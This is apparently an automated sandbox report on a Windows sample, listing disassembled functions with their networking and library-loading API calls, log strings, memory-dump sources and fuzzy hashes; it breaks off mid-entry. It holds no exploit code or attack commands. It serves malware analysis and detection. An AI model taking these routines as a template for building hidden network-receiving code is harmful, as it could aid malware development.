Opcode ID: 7a405b16ffc5785a2b6771cb9200652e3960d591a1aa19c36c4854034cebdb89
Instruction ID: 48ad3f8e2683c0d468ca4ebf2a391f1f31edddad11bb497a19f76ebd8c87cb75
Opcode Fuzzy Hash: 7a405b16ffc5785a2b6771cb9200652e3960d591a1aa19c36c4854034cebdb89
Instruction Fuzzy Hash: 9021B450E6D48382FB20F658AC44F7DD160AF00309FA45A32D25E8A5E1CF2CE8E5626E

Function 00007FF8BFB52B5A Relevance: 10.6, APIs: 2, Strings: 4, Instructions: 50networkCOMMON

Download Yara Rule

APIs

recv.WS2_32 ref: 00007FF8BFB52B82
WSAGetLastError.WS2_32 ref: 00007FF8BFB52B9C

Strings

[D] (%s) -> Disconnected(sock=0x%llx), xrefs: 00007FF8BFB52BD5
[E] (%s) -> Invalid arguments(sock=0x%llx,p=0x%p,l=%d), xrefs: 00007FF8BFB52BFA
tcp_recv, xrefs: 00007FF8BFB52BB6, 00007FF8BFB52BCE, 00007FF8BFB52BF3
[E] (%s) -> recv failed(sock=0x%llx,WSAgle=%d), xrefs: 00007FF8BFB52BBD

Memory Dump Source

Source File: 00000016.00000002.4543398310.00007FF8BFB51000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF8BFB50000, based on PE: true

Associated: 00000016.00000002.4543375448.00007FF8BFB50000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000016.00000002.4543427892.00007FF8BFB62000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000016.00000002.4543457057.00007FF8BFB6B000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000016.00000002.4543478360.00007FF8BFB6E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000016.00000002.4543503770.00007FF8BFB6F000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000016.00000002.4543526307.00007FF8BFB72000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff8bfb50000_main.jbxd

Similarity

API ID: ErrorLastrecv
String ID: [D] (%s) -> Disconnected(sock=0x%llx)$[E] (%s) -> Invalid arguments(sock=0x%llx,p=0x%p,l=%d)$[E] (%s) -> recv failed(sock=0x%llx,WSAgle=%d)$tcp_recv
API String ID: 2514157807-65069805
Opcode ID: e17e57d39b6d0bf0619066593cd494d760b0a37cd43b7cfbc4e2e11104ea388d
Instruction ID: 8612ae7a319476ee1dd1359d32faf91321d0e089fa5f2a727600c1cc5392ec67
Opcode Fuzzy Hash: e17e57d39b6d0bf0619066593cd494d760b0a37cd43b7cfbc4e2e11104ea388d
Instruction Fuzzy Hash: B6115E58E0E61751FA245BACE8612B873516F457F0F504330DF2D9AEE2DE2CF9568700

Function 00007FF8BFB820EA Relevance: 10.6, APIs: 2, Strings: 4, Instructions: 50networkCOMMON

Download Yara Rule

APIs

recv.WS2_32 ref: 00007FF8BFB82112
WSAGetLastError.WS2_32 ref: 00007FF8BFB8212C

Strings

[E] (%s) -> Invalid arguments(sock=0x%llx,p=0x%p,l=%d), xrefs: 00007FF8BFB8218A
tcp_recv, xrefs: 00007FF8BFB82146, 00007FF8BFB8215E, 00007FF8BFB82183
[D] (%s) -> Disconnected(sock=0x%llx), xrefs: 00007FF8BFB82165
[E] (%s) -> recv failed(sock=0x%llx,WSAgle=%d), xrefs: 00007FF8BFB8214D

Memory Dump Source

Source File: 00000016.00000002.4543573276.00007FF8BFB81000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF8BFB80000, based on PE: true

Associated: 00000016.00000002.4543552020.00007FF8BFB80000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000016.00000002.4543603877.00007FF8BFB93000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000016.00000002.4543623077.00007FF8BFB94000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000016.00000002.4543647847.00007FF8BFB9D000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000016.00000002.4543666942.00007FF8BFBA0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000016.00000002.4543695367.00007FF8BFBA1000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000016.00000002.4543713581.00007FF8BFBA4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff8bfb80000_main.jbxd

Similarity

API ID: ErrorLastrecv
String ID: [D] (%s) -> Disconnected(sock=0x%llx)$[E] (%s) -> Invalid arguments(sock=0x%llx,p=0x%p,l=%d)$[E] (%s) -> recv failed(sock=0x%llx,WSAgle=%d)$tcp_recv
API String ID: 2514157807-65069805
Opcode ID: cfbec3d80268c92a210721fa65bb7f648b19debdc5ac0ec43750b3102544e305
Instruction ID: 733571e87d911fb63e6a8d039384a8577a09b5653d95f4aebb2b4d5b36266879
Opcode Fuzzy Hash: cfbec3d80268c92a210721fa65bb7f648b19debdc5ac0ec43750b3102544e305
Instruction Fuzzy Hash: 94110D50A0C51BC1F925A7ADEC406B42751AF857E4F619331EB2D9AAE6DE1CA546C300

Function 00007FF8BFAB1C0A Relevance: 10.6, APIs: 2, Strings: 4, Instructions: 50networkCOMMON

Download Yara Rule

APIs

recv.WS2_32 ref: 00007FF8BFAB1C32
WSAGetLastError.WS2_32 ref: 00007FF8BFAB1C4C

Strings

tcp_recv, xrefs: 00007FF8BFAB1C66, 00007FF8BFAB1C7E, 00007FF8BFAB1CA3
[E] (%s) -> recv failed(sock=0x%llx,WSAgle=%d), xrefs: 00007FF8BFAB1C6D
[D] (%s) -> Disconnected(sock=0x%llx), xrefs: 00007FF8BFAB1C85
[E] (%s) -> Invalid arguments(sock=0x%llx,p=0x%p,l=%d), xrefs: 00007FF8BFAB1CAA

Memory Dump Source

Source File: 00000016.00000002.4543205209.00007FF8BFAB1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF8BFAB0000, based on PE: true

Associated: 00000016.00000002.4543176156.00007FF8BFAB0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000016.00000002.4543229217.00007FF8BFAC0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000016.00000002.4543258072.00007FF8BFAC8000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000016.00000002.4543280015.00007FF8BFACB000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000016.00000002.4543353485.00007FF8BFACC000.00000008.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff8bfab0000_main.jbxd

Similarity

API ID: ErrorLastrecv
String ID: [D] (%s) -> Disconnected(sock=0x%llx)$[E] (%s) -> Invalid arguments(sock=0x%llx,p=0x%p,l=%d)$[E] (%s) -> recv failed(sock=0x%llx,WSAgle=%d)$tcp_recv
API String ID: 2514157807-65069805
Opcode ID: 5924ac5f7febb98cc3b4509505359a6d1b94a50e864779fcb44e8b3ea3085f99
Instruction ID: 84c6bf82b8ae7ec4efc574316a9bb254f5d30fc2cf0aa66d6abfb0f1fb7d183c
Opcode Fuzzy Hash: 5924ac5f7febb98cc3b4509505359a6d1b94a50e864779fcb44e8b3ea3085f99
Instruction Fuzzy Hash: FF116050B0C91B46E628579CAC472741754AF427ECF60B331DF7DA66E7EE1CAA4A8300

Function 00007FF8BA502A1A Relevance: 10.6, APIs: 2, Strings: 4, Instructions: 50networkCOMMON

Download Yara Rule

APIs

recv.WS2_32 ref: 00007FF8BA502A42
WSAGetLastError.WS2_32 ref: 00007FF8BA502A5C

Strings

[E] (%s) -> Invalid arguments(sock=0x%llx,p=0x%p,l=%d), xrefs: 00007FF8BA502ABA
[E] (%s) -> recv failed(sock=0x%llx,WSAgle=%d), xrefs: 00007FF8BA502A7D
[D] (%s) -> Disconnected(sock=0x%llx), xrefs: 00007FF8BA502A95
tcp_recv, xrefs: 00007FF8BA502A76, 00007FF8BA502A8E, 00007FF8BA502AB3

Memory Dump Source

Source File: 00000016.00000002.4543038707.00007FF8BA501000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00007FF8BA500000, based on PE: true

Associated: 00000016.00000002.4543016103.00007FF8BA500000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000016.00000002.4543075522.00007FF8BA513000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000016.00000002.4543104552.00007FF8BA51C000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000016.00000002.4543126131.00007FF8BA51F000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000016.00000002.4543151844.00007FF8BA520000.00000008.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff8ba500000_main.jbxd

Similarity

API ID: ErrorLastrecv
String ID: [D] (%s) -> Disconnected(sock=0x%llx)$[E] (%s) -> Invalid arguments(sock=0x%llx,p=0x%p,l=%d)$[E] (%s) -> recv failed(sock=0x%llx,WSAgle=%d)$tcp_recv
API String ID: 2514157807-65069805
Opcode ID: 687b881fdd348855cd9be93875ebccf1f6286ced463390f6bf4ec4fd153eb7a4
Instruction ID: d3cf295cdf84b9c31fd8e00d17b438f10cd899c39070896c8f9524bd313d25d8
Opcode Fuzzy Hash: 687b881fdd348855cd9be93875ebccf1f6286ced463390f6bf4ec4fd153eb7a4
Instruction Fuzzy Hash: F5118F60A0C51BD1FA71539DAC9027A12406F437F8F4053B5DF2E8A6F6EE5CAB479300

Function 00007FF8B918559A Relevance: 10.6, APIs: 2, Strings: 4, Instructions: 50networkCOMMON

Download Yara Rule

APIs

recv.WS2_32 ref: 00007FF8B91855C2
WSAGetLastError.WS2_32 ref: 00007FF8B91855DC

Strings

[E] (%s) -> Invalid arguments(sock=0x%llx,p=0x%p,l=%d), xrefs: 00007FF8B918563A
[D] (%s) -> Disconnected(sock=0x%llx), xrefs: 00007FF8B9185615
[E] (%s) -> recv failed(sock=0x%llx,WSAgle=%d), xrefs: 00007FF8B91855FD
tcp_recv, xrefs: 00007FF8B91855F6, 00007FF8B918560E, 00007FF8B9185633

Memory Dump Source

Source File: 00000016.00000002.4542875243.00007FF8B9181000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00007FF8B9180000, based on PE: true

Associated: 00000016.00000002.4542850884.00007FF8B9180000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000016.00000002.4542909887.00007FF8B9196000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000016.00000002.4542940731.00007FF8B91A0000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000016.00000002.4542967259.00007FF8B91A3000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000016.00000002.4542988009.00007FF8B91A4000.00000008.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff8b9180000_main.jbxd

Similarity

API ID: ErrorLastrecv
String ID: [D] (%s) -> Disconnected(sock=0x%llx)$[E] (%s) -> Invalid arguments(sock=0x%llx,p=0x%p,l=%d)$[E] (%s) -> recv failed(sock=0x%llx,WSAgle=%d)$tcp_recv
API String ID: 2514157807-65069805
Opcode ID: 71b248d79f63e3ad16b9781f2f0d4f3c64fd26030b2f447712807f0f8b8b6e07
Instruction ID: 54a49b6cc683f7c40f87477be9d2cc4f61832e5d9d7b78cc60b8f4c376eb720c
Opcode Fuzzy Hash: 71b248d79f63e3ad16b9781f2f0d4f3c64fd26030b2f447712807f0f8b8b6e07
Instruction Fuzzy Hash: 41118251E0C69755F9105F1CA8806B82751AF407F4FA24370DE2D8A5E3FE2CA947B300

Function 00007FF708871694 Relevance: 10.5, APIs: 2, Strings: 4, Instructions: 28libraryCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(?,?,service,000001B9FFF913D0,00007FF708879404), ref: 00007FF7088716A2

Part of subcall function 00007FF7088799E2: fwrite.MSVCRT ref: 00007FF708879A8E
Part of subcall function 00007FF7088799E2: fflush.MSVCRT ref: 00007FF708879A9A

GetLastError.KERNEL32(?,?,service,000001B9FFF913D0,00007FF708879404), ref: 00007FF7088716CE

Strings

service, xrefs: 00007FF708871695
module_load, xrefs: 00007FF7088716B6, 00007FF7088716DA
[I] (%s) -> Done(name=%s,ret=0x%p), xrefs: 00007FF7088716BD
[E] (%s) -> Failed(name=%s,gle=%lu), xrefs: 00007FF7088716E1

Memory Dump Source

Source File: 00000016.00000002.4541095826.00007FF708871000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF708870000, based on PE: true

Associated: 00000016.00000002.4541064552.00007FF708870000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000016.00000002.4541124486.00007FF708880000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000016.00000002.4541158347.00007FF708888000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000016.00000002.4541158347.00007FF70888A000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000016.00000002.4541209081.00007FF70888E000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff708870000_main.jbxd

Similarity

API ID: ErrorLastLibraryLoadfflushfwrite
String ID: [E] (%s) -> Failed(name=%s,gle=%lu)$[I] (%s) -> Done(name=%s,ret=0x%p)$module_load$service
API String ID: 4085810780-4145076245
Opcode ID: 89ebc8c7e4f33d3e928f190608cae1c99765822385c71e9f94217e9abe4ccd82
Instruction ID: 97da014fc2c1b1e2b78b283ada72f60c4022a33d1cb1f0a37939f7fdd38649d9
Opcode Fuzzy Hash: 89ebc8c7e4f33d3e928f190608cae1c99765822385c71e9f94217e9abe4ccd82
Instruction Fuzzy Hash: C1F03014A69A1781ED56F75AAC54DB4E6606F14BC4BC80431C90C167E5EF2CF5E9C324

Function 00007FF8BFB52F1E Relevance: 10.5, APIs: 1, Strings: 5, Instructions: 26networkCOMMON

Download Yara Rule

APIs

WSAStartup.WS2_32 ref: 00007FF8BFB52F30

Part of subcall function 00007FF8BFB52FD2: fwrite.MSVCRT ref: 00007FF8BFB5307E
Part of subcall function 00007FF8BFB52FD2: fflush.MSVCRT ref: 00007FF8BFB5308A

Strings

[E] (%s) -> WSAStartup failed(ret=%d), xrefs: 00007FF8BFB52F6F
[E] (%s) -> Failed(err=%08x), xrefs: 00007FF8BFB52F84
Done, xrefs: 00007FF8BFB52F3A
net_init, xrefs: 00007FF8BFB52F41, 00007FF8BFB52F65
[I] (%s) -> %s, xrefs: 00007FF8BFB52F48

Memory Dump Source

Source File: 00000016.00000002.4543398310.00007FF8BFB51000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF8BFB50000, based on PE: true

Associated: 00000016.00000002.4543375448.00007FF8BFB50000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000016.00000002.4543427892.00007FF8BFB62000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000016.00000002.4543457057.00007FF8BFB6B000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000016.00000002.4543478360.00007FF8BFB6E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000016.00000002.4543503770.00007FF8BFB6F000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000016.00000002.4543526307.00007FF8BFB72000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff8bfb50000_main.jbxd

Similarity

API ID: Startupfflushfwrite
String ID: Done$[E] (%s) -> Failed(err=%08x)$[E] (%s) -> WSAStartup failed(ret=%d)$[I] (%s) -> %s$net_init
API String ID: 3771387389-898331216
Opcode ID: b8168152bed2fe7015a620b0f98054066fbf806d0659ad2a0f81c7eb32b1367f
Instruction ID: f0ea31f1393bbd3c6069edb4790f1a16193920fb1262d7ac86831144697b9986
Opcode Fuzzy Hash: b8168152bed2fe7015a620b0f98054066fbf806d0659ad2a0f81c7eb32b1367f
Instruction Fuzzy Hash: 78F01D64B09647A2FF109BA8F8547F8B310EF283C4F480032DA0D46A96EE2CF5998740

Function 00007FF8BFB824AE Relevance: 10.5, APIs: 1, Strings: 5, Instructions: 26networkCOMMON

Download Yara Rule

APIs

WSAStartup.WS2_32 ref: 00007FF8BFB824C0

Part of subcall function 00007FF8BFB81292: fwrite.MSVCRT ref: 00007FF8BFB8133E
Part of subcall function 00007FF8BFB81292: fflush.MSVCRT ref: 00007FF8BFB8134A

Strings

[E] (%s) -> Failed(err=%08x), xrefs: 00007FF8BFB82514
[E] (%s) -> WSAStartup failed(ret=%d), xrefs: 00007FF8BFB824FF
Done, xrefs: 00007FF8BFB824CA
net_init, xrefs: 00007FF8BFB824D1, 00007FF8BFB824F5
[I] (%s) -> %s, xrefs: 00007FF8BFB824D8

Memory Dump Source

Source File: 00000016.00000002.4543573276.00007FF8BFB81000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF8BFB80000, based on PE: true

Associated: 00000016.00000002.4543552020.00007FF8BFB80000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000016.00000002.4543603877.00007FF8BFB93000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000016.00000002.4543623077.00007FF8BFB94000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000016.00000002.4543647847.00007FF8BFB9D000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000016.00000002.4543666942.00007FF8BFBA0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000016.00000002.4543695367.00007FF8BFBA1000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000016.00000002.4543713581.00007FF8BFBA4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff8bfb80000_main.jbxd

Similarity

API ID: Startupfflushfwrite
String ID: Done$[E] (%s) -> Failed(err=%08x)$[E] (%s) -> WSAStartup failed(ret=%d)$[I] (%s) -> %s$net_init
API String ID: 3771387389-898331216
Opcode ID: 6874982133632a7ce170ad8de51c3a9715c6612822ec66ea62388de5787a52fb
Instruction ID: f6bb3900cc5fa06af7d005c086b550636cc520a7a578f6d5ee7aeefdd211cabe
Opcode Fuzzy Hash: 6874982133632a7ce170ad8de51c3a9715c6612822ec66ea62388de5787a52fb
Instruction Fuzzy Hash: 87F03A60B0A507D5FB14ABDCE8447F46351AF903C4F44C432DB0D8A6ABEE1CE649C310

Function 00007FF8B9152DDE Relevance: 10.5, APIs: 1, Strings: 5, Instructions: 26networkCOMMON

Download Yara Rule

APIs

WSAStartup.WS2_32 ref: 00007FF8B9152DF0

Part of subcall function 00007FF8B9151292: fwrite.MSVCRT ref: 00007FF8B915133E
Part of subcall function 00007FF8B9151292: fflush.MSVCRT ref: 00007FF8B915134A

Strings

[I] (%s) -> %s, xrefs: 00007FF8B9152E08
[E] (%s) -> Failed(err=%08x), xrefs: 00007FF8B9152E44
net_init, xrefs: 00007FF8B9152E01, 00007FF8B9152E25
[E] (%s) -> WSAStartup failed(ret=%d), xrefs: 00007FF8B9152E2F
Done, xrefs: 00007FF8B9152DFA

Memory Dump Source

Source File: 00000016.00000002.4542713133.00007FF8B9151000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF8B9150000, based on PE: true

Associated: 00000016.00000002.4542690399.00007FF8B9150000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000016.00000002.4542749406.00007FF8B9164000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000016.00000002.4542780347.00007FF8B916D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000016.00000002.4542800996.00007FF8B9170000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000016.00000002.4542827161.00007FF8B9171000.00000008.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff8b9150000_main.jbxd

Similarity

API ID: Startupfflushfwrite
String ID: Done$[E] (%s) -> Failed(err=%08x)$[E] (%s) -> WSAStartup failed(ret=%d)$[I] (%s) -> %s$net_init
API String ID: 3771387389-898331216
Opcode ID: 91b5b12ed51ae55352934baa0b39f4641da89fbc1b278aeeed348b83f169e717
Instruction ID: c19971c05cbf812be55a9f138efdf6a74e98d668463b3de981aef0ba04bf7787
Opcode Fuzzy Hash: 91b5b12ed51ae55352934baa0b39f4641da89fbc1b278aeeed348b83f169e717
Instruction Fuzzy Hash: 56F09061F0848391FB139F1CE9403F52311AF143C8F458432DA8D961D6EE5DF548E700

Function 00007FF8BFAB1FCE Relevance: 10.5, APIs: 1, Strings: 5, Instructions: 26networkCOMMON

Download Yara Rule

APIs

WSAStartup.WS2_32 ref: 00007FF8BFAB1FE0

Part of subcall function 00007FF8BFABA202: fwrite.MSVCRT ref: 00007FF8BFABA2AE
Part of subcall function 00007FF8BFABA202: fflush.MSVCRT ref: 00007FF8BFABA2BA

Strings

[E] (%s) -> WSAStartup failed(ret=%d), xrefs: 00007FF8BFAB201F
net_init, xrefs: 00007FF8BFAB1FF1, 00007FF8BFAB2015
Done, xrefs: 00007FF8BFAB1FEA
[I] (%s) -> %s, xrefs: 00007FF8BFAB1FF8
[E] (%s) -> Failed(err=%08x), xrefs: 00007FF8BFAB2034

Memory Dump Source

Source File: 00000016.00000002.4543205209.00007FF8BFAB1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF8BFAB0000, based on PE: true

Associated: 00000016.00000002.4543176156.00007FF8BFAB0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000016.00000002.4543229217.00007FF8BFAC0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000016.00000002.4543258072.00007FF8BFAC8000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000016.00000002.4543280015.00007FF8BFACB000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000016.00000002.4543353485.00007FF8BFACC000.00000008.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff8bfab0000_main.jbxd

Similarity

API ID: Startupfflushfwrite
String ID: Done$[E] (%s) -> Failed(err=%08x)$[E] (%s) -> WSAStartup failed(ret=%d)$[I] (%s) -> %s$net_init
API String ID: 3771387389-898331216
Opcode ID: 55581a1a9876ac671bbe8439d1a613f18c012bce2b1d742a23fc00ce54db1969
Instruction ID: e41fd803ae0d831ac02f78de2496be5e186a99b58f539ebffcfbb1a52028dcdf
Opcode Fuzzy Hash: 55581a1a9876ac671bbe8439d1a613f18c012bce2b1d742a23fc00ce54db1969
Instruction Fuzzy Hash: CDF06DA0B0890B95FB199B9DEC033F42360AF107CCF84A032DB0D9A5A6EE1DE94D9700

Function 00007FF8BA502DDE Relevance: 10.5, APIs: 1, Strings: 5, Instructions: 26networkCOMMON

Download Yara Rule

APIs

WSAStartup.WS2_32 ref: 00007FF8BA502DF0

Part of subcall function 00007FF8BA501292: fwrite.MSVCRT ref: 00007FF8BA50133E
Part of subcall function 00007FF8BA501292: fflush.MSVCRT ref: 00007FF8BA50134A

Strings

[I] (%s) -> %s, xrefs: 00007FF8BA502E08
net_init, xrefs: 00007FF8BA502E01, 00007FF8BA502E25
Done, xrefs: 00007FF8BA502DFA
[E] (%s) -> WSAStartup failed(ret=%d), xrefs: 00007FF8BA502E2F
[E] (%s) -> Failed(err=%08x), xrefs: 00007FF8BA502E44

Memory Dump Source

Source File: 00000016.00000002.4543038707.00007FF8BA501000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00007FF8BA500000, based on PE: true

Associated: 00000016.00000002.4543016103.00007FF8BA500000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000016.00000002.4543075522.00007FF8BA513000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000016.00000002.4543104552.00007FF8BA51C000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000016.00000002.4543126131.00007FF8BA51F000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000016.00000002.4543151844.00007FF8BA520000.00000008.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff8ba500000_main.jbxd

Similarity

API ID: Startupfflushfwrite
String ID: Done$[E] (%s) -> Failed(err=%08x)$[E] (%s) -> WSAStartup failed(ret=%d)$[I] (%s) -> %s$net_init
API String ID: 3771387389-898331216
Opcode ID: 9adf5fa366108badb66f3825d14c001fe3316979c7670eb6608d00b3c87b209d
Instruction ID: 0d46eb1752f6a6fdbf0428f27402baa44d98cd525241c953360672836e0643d3
Opcode Fuzzy Hash: 9adf5fa366108badb66f3825d14c001fe3316979c7670eb6608d00b3c87b209d
Instruction Fuzzy Hash: 9CF04971A0C607E1FB619B9DEC90BF62310AF163D4F8405B2DE0E4A1A6EE5DE7498700

Function 00007FF8B918595E Relevance: 10.5, APIs: 1, Strings: 5, Instructions: 26networkCOMMON

Download Yara Rule

APIs

WSAStartup.WS2_32 ref: 00007FF8B9185970

Part of subcall function 00007FF8B9181292: fwrite.MSVCRT ref: 00007FF8B918133E
Part of subcall function 00007FF8B9181292: fflush.MSVCRT ref: 00007FF8B918134A

Strings

[E] (%s) -> Failed(err=%08x), xrefs: 00007FF8B91859C4
Done, xrefs: 00007FF8B918597A
[I] (%s) -> %s, xrefs: 00007FF8B9185988
[E] (%s) -> WSAStartup failed(ret=%d), xrefs: 00007FF8B91859AF
net_init, xrefs: 00007FF8B9185981, 00007FF8B91859A5

Memory Dump Source

Source File: 00000016.00000002.4542875243.00007FF8B9181000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00007FF8B9180000, based on PE: true

Associated: 00000016.00000002.4542850884.00007FF8B9180000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000016.00000002.4542909887.00007FF8B9196000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000016.00000002.4542940731.00007FF8B91A0000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000016.00000002.4542967259.00007FF8B91A3000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000016.00000002.4542988009.00007FF8B91A4000.00000008.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff8b9180000_main.jbxd

Similarity

API ID: Startupfflushfwrite
String ID: Done$[E] (%s) -> Failed(err=%08x)$[E] (%s) -> WSAStartup failed(ret=%d)$[I] (%s) -> %s$net_init
API String ID: 3771387389-898331216
Opcode ID: a26de81fc8445dc42c5ba4472ba58619277b91e3ccb05bf8742dbed8f743adb0
Instruction ID: 63214778dc4ae82594cbb90f9f7f2f58423604ba7d17166605554c248d60c0b4
Opcode Fuzzy Hash: a26de81fc8445dc42c5ba4472ba58619277b91e3ccb05bf8742dbed8f743adb0
Instruction Fuzzy Hash: 21F01D62F1848391FB15DF1DE8857F56312EF107C4F858872DA0D866A6FE2CE54AB300

Function 00007FF8BFB83AFD Relevance: 9.1, APIs: 2, Strings: 4, Instructions: 127sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNEL32 ref: 00007FF8BFB83B30
Sleep.KERNEL32 ref: 00007FF8BFB83BAC

Strings

[W] (%s) -> Not a valid event received(size=%u,suid=%llx,packed_event_sz=%u,event_sz=%u), xrefs: 00007FF8BFB83C2F
[W] (%s) -> Not a valid packet received(size=%u,suid=%llx), xrefs: 00007FF8BFB83C61
routine_rx, xrefs: 00007FF8BFB83C28, 00007FF8BFB83C5A
/, xrefs: 00007FF8BFB83C8F

Memory Dump Source

Source File: 00000016.00000002.4543573276.00007FF8BFB81000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF8BFB80000, based on PE: true

Associated: 00000016.00000002.4543552020.00007FF8BFB80000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000016.00000002.4543603877.00007FF8BFB93000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000016.00000002.4543623077.00007FF8BFB94000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000016.00000002.4543647847.00007FF8BFB9D000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000016.00000002.4543666942.00007FF8BFBA0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000016.00000002.4543695367.00007FF8BFBA1000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000016.00000002.4543713581.00007FF8BFBA4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff8bfb80000_main.jbxd

Similarity

API ID: Sleep
String ID: /$[W] (%s) -> Not a valid event received(size=%u,suid=%llx,packed_event_sz=%u,event_sz=%u)$[W] (%s) -> Not a valid packet received(size=%u,suid=%llx)$routine_rx
API String ID: 3472027048-1600310168
Opcode ID: c53c2ae821d90da87844032103b56b71391d742219771a0656b4b1393a371080
Instruction ID: aeeecdef5614607cbd047c1b8e56cd6fa7201cb0db8a5aaa538225dac1b71d08
Opcode Fuzzy Hash: c53c2ae821d90da87844032103b56b71391d742219771a0656b4b1393a371080
Instruction Fuzzy Hash: 4B515F66E0D64385FA609B9CE8803B96391EFC43E4F588231D7AD466D6DF2CE855C700

Function 00007FF70887836F Relevance: 8.8, APIs: 1, Strings: 4, Instructions: 70COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF708871360: GetModuleHandleExA.KERNEL32(?,?,?,?,?,?,00007FF7088784AF), ref: 00007FF70887137E

_mbscpy.MSVCRT ref: 00007FF7088783DC

Part of subcall function 00007FF70887824D: strlen.MSVCRT ref: 00007FF708878258
